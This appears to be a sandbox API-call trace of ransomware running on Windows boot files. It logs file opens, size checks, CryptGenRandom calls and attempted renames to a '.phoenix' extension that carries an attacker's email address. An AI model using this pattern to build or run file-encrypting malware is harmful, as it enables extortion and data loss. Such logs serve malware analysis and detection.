	[0213.475] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.475] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45984) returned 1
	[0213.476] CloseHandle (hObject=0x254) returned 1
	[0213.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20
	[0213.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.476] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.476] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.476] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.476] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=80224) returned 1
	[0213.476] CloseHandle (hObject=0x254) returned 1
	[0213.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20
	[0213.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.477] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.477] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.477] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.477] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=46496) returned 1
	[0213.477] CloseHandle (hObject=0x254) returned 1
	[0213.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20
	[0213.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.479] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.479] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.479] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.479] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=74072) returned 1
	[0213.479] CloseHandle (hObject=0x254) returned 1
	[0213.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20
	[0213.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.479] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.480] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.480] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.480] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=74144) returned 1
	[0213.480] CloseHandle (hObject=0x254) returned 1
	[0213.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20
	[0213.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.480] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.480] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.480] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.481] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=44960) returned 1
	[0213.481] CloseHandle (hObject=0x254) returned 1
	[0213.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20
	[0213.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.481] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.481] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.481] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.481] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=77664) returned 1
	[0213.481] CloseHandle (hObject=0x254) returned 1
	[0213.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20
	[0213.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.482] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.482] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.482] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.482] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45984) returned 1
	[0213.482] CloseHandle (hObject=0x254) returned 1
	[0213.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20
	[0213.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.482] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.483] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.483] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.483] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=77664) returned 1
	[0213.483] CloseHandle (hObject=0x254) returned 1
	[0213.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20
	[0213.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.483] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.483] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.483] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.484] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=75104) returned 1
	[0213.484] CloseHandle (hObject=0x254) returned 1
	[0213.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20
	[0213.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.484] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.484] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.484] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.484] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=76640) returned 1
	[0213.484] CloseHandle (hObject=0x254) returned 1
	[0213.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20
	[0213.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.485] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.485] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.485] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.485] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=45472) returned 1
	[0213.485] CloseHandle (hObject=0x254) returned 1
	[0213.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20
	[0213.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.485] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.485] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.485] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0213.487] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=3695719) returned 1
	[0213.487] CloseHandle (hObject=0x254) returned 1
	[0213.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20
	[0213.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0213.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0
	[0213.487] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.487] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0213.516] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=3878410) returned 1
	[0213.516] CloseHandle (hObject=0x53c) returned 1
	[0213.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20
	[0213.516] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0213.516] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0
	[0213.516] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.561] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=1985867) returned 1
	[0213.561] CloseHandle (hObject=0x548) returned 1
	[0213.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0213.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0213.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0
	[0213.562] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.562] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.569] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=2373000) returned 1
	[0213.569] CloseHandle (hObject=0x548) returned 1
	[0213.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0213.569] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0
	[0213.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0
	[0213.570] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.570] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.582] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=174959) returned 1
	[0213.582] CloseHandle (hObject=0x548) returned 1
	[0213.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20
	[0213.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.582] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.582] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.582] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.619] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=177414) returned 1
	[0213.619] CloseHandle (hObject=0x548) returned 1
	[0213.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0213.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.620] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.620] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3e5f7d0 | out: pbBuffer=0x3e5f7d0) returned 1
	[0213.620] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0213.643] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e5f770 | out: lpFileSize=0x3e5f770*=143754) returned 1
	[0213.643] CloseHandle (hObject=0x548) returned 1
	[0213.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20
	[0213.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
